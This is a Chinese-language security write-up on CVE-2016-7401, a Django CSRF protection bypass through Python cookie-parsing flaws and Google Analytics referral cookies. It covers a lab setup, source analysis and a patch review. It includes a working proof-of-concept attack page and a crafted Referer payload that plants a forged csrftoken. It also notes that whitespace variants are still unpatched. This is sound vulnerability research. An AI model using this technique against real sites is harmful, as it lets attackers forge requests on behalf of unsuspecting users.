Django CSRF Bypass (CVE-2016-7401) 漏洞分析

Author: p0wd3r (知道创宇404安全实验室)

Date: 2016-09-28

0x00 漏洞概述

1.漏洞简介

Django是一个由Python写成的开源Web应用框架。在两年前有研究人员在hackerone上提交了一个利用Google Analytics来绕过Django的CSRF防护机制的漏洞(CSRF protection bypass on any Django powered site via Google Analytics)，通过该漏洞，当一个网站使用了Django作为Web框架并且设置了Django的CSRF防护机制，同时又使用了Google Analytics的时候，攻击者可以构造请求来对CSRF防护机制进行绕过。

2.漏洞影响

网站满足以下三个条件的情况下攻击者可以绕过Django的CSRF防护机制：

3.影响版本

Django 1.9.x < 1.9.10

Django 1.8.x < 1.8.15

Python2 < 2.7.9

Python3 < 3.2.7

0x01 漏洞复现

1. 环境搭建

1. pip install django==1.9.9
2. django-admin startproject project
3. cd project
4. python manage.py startapp app
5. cd app
6. 将 'app' 添加到 project/project/settings.py 中的 INSTALLDE_APPS 列表中
7. 更改或添加下列文件：

project/app/views.py:

from django.shortcuts import render
from django.http import HttpResponse

# Create your views here.

def check(req):
    if req.method == 'POST':
        return HttpResponse('CSRF check successfully!')
    else:
        return render(req, 'check.html')

def ga(req):
    return render(req, 'ga.html')

project/project/urls.py:

from django.conf.urls import url
from django.contrib import admin

from app.views import check, ga

urlpatterns = [
    url(r'^admin/', admin.site.urls),
    url(r'^check/', check, name='check'),
    url(r'^ga/', ga, name='ga'),
]

project/app/templates/check.html：

<form action="/check/" method="POST">
    {% csrf_token %}
    <input type="submit" value="Check"></input>
</form>

project/app/templates/ga.html（放置Goolge Analytics脚本的页面）：

<script type="text/javascript">

  var _gaq = _gaq || [];
  _gaq.push(['_setAccount', 'UA-XXXXX-X']);
  _gaq.push(['_trackPageview']);

  (function() {
    var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true;
    ga.src = ('https:' == document.location.protocol ? 'https://ssl' : 'http://www') + '.google-analytics.com/ga.js';
    var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s);
  })();

</script>

最后运行开启Django内置server：

# project/
python manage.py runserver

2.漏洞分析

我们先来看这样一个场景：

Alt text

当python内置的Cookie.SimpleCookie()解析a=hello]b=world这种形式的字符串时会以]作为分隔，最后取得a=hello和b=world这两个cookie，那么为什么会这样呢？

我们看一下源码，Ubuntu下/usr/lib/python2.7/Cookie.py第622-663行：

def load(self, rawdata):
    """Load cookies from a string (presumably HTTP_COOKIE) or
    from a dictionary.  Loading cookies from a dictionary 'd'
    is equivalent to calling:
        map(Cookie.__setitem__, d.keys(), d.values())
    """
    if type(rawdata) == type(""):
        self.__ParseString(rawdata)
    else:
        # self.update() wouldn't call our custom __setitem__
        for k, v in rawdata.items():
            self[k] = v
    return
# end load()

def __ParseString(self, str, patt=_CookiePattern):
    i = 0            # Our starting point
    n = len(str)     # Length of string
    M = None         # current morsel

    while 0 <= i < n:
        # Start looking for a cookie
        match = patt.search(str, i)
        if not match: break          # No more cookies

        K,V = match.group("key"), match.group("val")
        i = match.end(0)

        ...

当传入load一个字符串时，调用__ParseString，在__ParseString中有这样一句：match = patt.search(str, i)，根据之前定义的pattern来查找字符串中符合pattern的cookie，_CookiePattern在529-545行：

_LegalCharsPatt  = r"[\w\d!#%&'~_`><@,:/\$\*\+\-\.\^\|\)\(\?\}\{\=]"
_CookiePattern = re.compile(
    r"(?x)"                       # This is a Verbose pattern
    r"(?P<key>"                   # Start of group 'key'
    ""+ _LegalCharsPatt +"+?"     # Any word of at least one letter, nongreedy
    r")"                          # End of group 'key'
    r"\s*=\s*"                    # Equal Sign
    r"(?P<val>"                   # Start of group 'val'
    r'"(?:[^\\"]|\\.)*"'            # Any doublequoted string
    r"|"                            # or
    r"\w{3},\s[\s\w\d-]{9,11}\s[\d:]{8}\sGMT" # Special case for "expires" attr
    r"|"                            # or
    ""+ _LegalCharsPatt +"*"        # Any word or empty string
    r")"                          # End of group 'val'
    r"\s*;?"                      # Probably ending in a semi-colon
    )

在这里我们看到]并没有在_LegalCharsPatt中，由于代码中使用的是search函数，所以在匹配a=hello后碰到]会跳过这个字符然后再匹配b=world。因此正是因为使用search函数来匹配，所以理论上当a=hello后面是任意一个不在_LegalCharsPatt中的字符都会达到同样的效果，我们实际测试一下：

除了这些字符本身，我们也可以使用这些字符的十六进制和八进制表示来触发漏洞。有一点需要注意的是，使用\来触发漏洞需要对其进行转义：a=hello\\b=world。

这个漏洞也正是整个Bypass的核心所在。

我们再来看Django（1.9.9）中对cookie的解析，在http/cookie.py中第91-106行：

def parse_cookie(cookie):
    if cookie == '':
        return {}
    if not isinstance(cookie, http_cookies.BaseCookie):
        try:
            c = SimpleCookie()
            c.load(cookie)
        except http_cookies.CookieError:
            # Invalid cookie
            return {}
    else:
        c = cookie
    cookiedict = {}
    for key in c.keys():
        cookiedict[key] = c.get(key).value
    return cookiedict

根据动态调试发现这里的SimpleCookie也就是我们上面所说的存在漏洞的对象，从而可以确定Django中对cookie的处理也是存在漏洞的。

我们再来看看Django的CSRF防护机制，默认CSRF防护中间件是开启的，我们访问http://127.0.0.1:8000/check/，点击Check然后抓包：

Alt text

可以看到csrftoken和csrfmiddlewaretoken的值是相同的，其中csrfmiddlewaretoken的值如图：

Alt text

也就是Django对check.html中的{% csrf_token %}所赋的值。

我们再改下包，使csrftoken和csrfmiddlewaretoken不相等，这回服务器就会返回403：

Alt text

我们再把两个值都改成另外一个值看看：

Alt text

依然成功。

所以Django对于CSRF的防护就是判断cookie中的csrftoken和提交的csrfmiddlewaretoken的值是否相等。

那么如果想Bypass这个防护机制，就是要想办法设置受害者的cookie中的csrftoken值为攻击者构造的csrdmiddlewaretoken的值。

如何设置受害者cookie呢？Google Analytics帮了我们这个忙，它为了追踪用户，会在用户浏览时添加如下cookie：

__utmz=123456.123456789.11.2.utmcsr=[HOST]|utmccn=(referral)|utmcmd=referral|utmcct=[PATH]

其中[HOST]和[PATH]是由Referer确定的，也就是说当Referer: http://x.com/helloworld时，cookie如下：

__utmz=123456.123456789.11.2.utmcsr=x.com|utmccn=(referral)|utmcmd=referral|utmcct=helloworld

由于Referer是我们可以控制的，所以也就有了设置受害者cookie的可能，但是如何设置csrftoken的值呢？

这就用到了我们上面说的Django处理cookie的漏洞，当我们设置Referer为http://x.com/hello]csrftoken=world，GA设置的cookie如下：

__utmz=123456.123456789.11.2.utmcsr=x.com|utmccn=(referral)|utmcmd=referral|utmcct=hello]csrftoken=world

当Django解析cookie时就会触发上面说的漏洞，将cookie中csrftoken的值赋为world。

实际操作一下，为了方便路由我们在另一个IP上再开一个DjangoApp作为中转，其中各文件如下：

urls.py:

from django.conf.urls import url
from django.contrib import admin

from app.views import route

urlpatterns = [
    url(r'^admin/', admin.site.urls),
    url(r'^hello', route)
]

views.py:

from django.shortcuts import render
from django.http import HttpResponse

# Create your views here.

def route(req):
    return render(req, 'route.html')

route.html:

<script> window.location = 'http://127.0.0.1:8000/ga/'; </script>

开启中转App：python manage.py runserver xxx

构造一个攻击页面：

<form id="csrf" action="http://127.0.0.1:8000/check/" method="POST">
    <input type="hidden" name="csrfmiddlewaretoken" value="boom">
</form>

<script type="text/javascript" charset="utf-8">
function sleep (time) {
      return new Promise((resolve) => setTimeout(resolve, time));
}

function poc() {
    window.open('http://redirect-server/hello]csrftoken=boom');

    sleep(1000).then(() => {
        document.getElementById('csrf').submit();
    });
}
</script>

<a href='#' onclick=poc()> Click me </a>

当我们点击Click me，会先打开一个窗口，再回到原窗口，就可以看到保护机制已经绕过：

Alt text

再访问一下http://127.0.0.1:8000/check/，可以看到此时cookie中的csrftoken和form中的csrfmiddlewaretoken都已被设置成boom，证明漏洞成功触发：

Alt text

Alt text

攻击流程如下：

Alt text

3.补丁分析

Python

可以看到这个漏洞在根本上是原生Python的漏洞，首先看最早在2.7.9中的patch：

Alt text

将search改成了match函数，所以再遇到非法符号匹配会停止。

再看该文件在2.7.10中的patch：

Alt text

这里将[\]设置为了合法的value中的字符，也就是

>>> C.load('__utmz=blah]csrftoken=x')
>>> C
<SimpleCookie: __utmz='blah]csrftoken=x'>

同样Python3在3.2.7和3.3.6中也做了相应patch：

Alt text

Alt text

不过尽管上面对[\]做了限制，但是由于pattern最后\s*的存在，所以在以下情况下仍然存在漏洞：

>>> import Cookie
>>> C = Cookie.SimpleCookie()
>>> C.load('__utmz=blah csrftoken=x')
>>> C.load('__utmz=blah\x09csrftoken=x')
>>> C.load('__utmz=blah\x0bcsrftoken=x')
>>> C.load('__utmz=blah\x0ccsrftoken=x')
>>> C
<SimpleCookie: __utmz='blah' csrftoken='x'>

这些情况在最新的Python中并没有被修复，不过在实际情况中由于浏览器和脚本的原因，这些字符不一定会保存原样发送给Python处理，所以在利用上还要根据场景来分析。

Django

Django在1.9.10和1.8.15中做了相同的patch：

Alt text

它放弃了使用Python内置库来处理cookie，而是自己根据;分割再取值，使特殊符号不再起作用。

0x02 修复方案

升级Python

升级Django

0x03 参考

源链接

Hacking more

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